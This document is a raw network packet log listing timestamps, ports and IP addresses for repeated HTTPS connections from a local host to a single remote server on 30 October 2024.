Oct 30, 2024 20:14:16.967801094 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.967942953 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:16.967957973 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.035950899 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.036406040 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.036416054 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.036828041 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.036832094 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.178689957 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.179371119 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.179490089 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.184329987 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.184346914 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.184357882 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.184361935 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.187149048 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.187237024 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.187352896 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.187504053 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.187537909 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.270541906 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.270554066 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.662110090 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.662633896 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.662667990 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.663117886 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.663125992 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.672030926 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.672297955 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.672331095 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.672648907 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.672653913 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.702184916 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.702523947 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.702553034 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.702893972 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.702902079 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.793467999 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.793556929 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.793608904 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.793797016 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.793827057 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.793843985 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.793853045 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.796360016 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.796401978 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.796483994 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.796627998 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.796643019 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.807821989 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.807899952 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.807950020 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.808053970 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.808070898 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.808083057 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.808088064 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.810000896 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.810044050 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.810113907 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.810231924 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.810246944 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.869551897 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.869616032 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.869664907 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.869678020 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.869716883 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.873891115 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.873907089 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.873950005 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.873960018 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.876667976 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.876701117 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.876806021 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.876930952 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.876964092 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.940819979 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.941251993 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.941273928 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:17.941688061 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:17.941694021 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.073820114 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.074697971 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.074763060 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.074809074 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.074826956 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.074837923 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.074842930 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.078236103 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.078280926 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.078391075 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.078526974 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.078546047 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.539522886 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.539956093 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.540030003 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.540417910 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.540431976 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.545435905 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.545711040 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.545758009 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.546070099 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.546086073 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.613126993 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.613761902 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.613782883 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.614192009 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.614217997 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.673582077 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.673656940 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.673728943 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.673897028 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.673907995 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.673918962 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.673923969 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.676783085 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.676826000 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.676909924 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.677073002 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.677086115 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.678332090 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.678385973 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.678446054 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.678584099 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.678584099 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.678618908 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.678642035 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.680529118 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.680571079 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.680651903 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.680779934 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.680797100 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.749229908 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.749299049 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.749361038 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.749388933 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.749419928 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.749466896 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.749538898 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.749538898 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.749557018 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.749577045 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.751496077 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.751511097 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.751580954 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.751708031 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.751718044 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.807257891 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.807605982 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.807634115 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.808016062 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.808024883 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.945524931 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.949084997 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.949142933 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.949215889 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.949235916 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.949249029 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.949256897 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.951952934 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.951982975 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:18.952054024 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.952181101 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:18.952197075 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.429035902 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.429662943 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.429687023 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.430140972 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.430147886 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.450861931 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.451153994 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.451184988 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.451491117 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.451498985 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.543240070 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.543631077 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.543646097 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.544264078 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.544267893 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.563076019 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.563154936 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.563208103 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.563349962 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.563364029 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.563393116 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.563399076 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.565949917 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.565980911 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.566060066 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.566222906 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.566240072 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.586575031 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.586627960 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.586685896 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.586816072 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.586837053 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.586849928 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.586858034 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.589132071 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.589163065 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.589240074 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.589349985 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.589366913 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.679639101 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.679718971 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.679769039 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.679784060 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.679826975 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.679869890 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.680022955 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.680033922 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.680043936 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.680047989 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.682807922 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.682837009 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.682920933 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.683068037 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.683079958 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.687513113 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.687845945 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.687864065 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.688280106 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.688285112 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.823704004 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.823760986 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.823818922 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.823970079 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.823985100 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.823996067 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.823999882 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.826014996 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.826049089 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:19.826128960 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.826235056 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:19.826248884 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.308178902 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.308696032 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.308712006 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.309233904 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.309240103 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.312011003 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.312501907 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.312527895 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.313134909 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.313142061 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.441360950 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.441447020 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.441534042 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.441581964 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.441605091 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.441617966 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.441628933 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.441632986 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.441956997 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.442003965 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.443353891 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.443377972 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.443394899 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.443403006 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.447005033 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.447038889 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.447088003 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.447717905 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.447729111 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.448235035 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.448270082 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.448334932 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.448456049 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.448477030 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.499350071 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.499684095 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.499696016 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.500222921 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.500227928 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.585568905 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.585975885 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.585994959 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.586365938 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.586370945 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.633626938 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.633764982 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.633812904 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.633832932 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.633874893 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.633919954 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.633949995 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.633961916 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.633972883 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.633977890 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.636410952 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.636442900 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.636512041 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.636636019 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.636642933 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.726758003 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.726943970 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.727003098 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.727040052 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.727056026 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.727066994 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.727072954 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.729017973 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.729106903 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:20.729186058 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.729290962 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:20.729329109 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.188865900 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.190198898 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.190227985 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.190879107 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.190888882 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.194834948 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.195288897 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.195302963 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.195728064 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.195733070 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.320000887 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.320178032 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.320270061 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.320403099 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.320424080 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.320436954 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.320445061 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.323409081 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.323483944 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.323565960 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.323704004 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.323724985 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.328027010 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.328059912 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.328109026 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.328108072 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.328150034 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.328313112 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.328335047 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.328346968 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.328352928 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.330570936 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.330617905 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.330796003 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.330918074 CET	49890	443	192.168.2.4	13.107.246.45
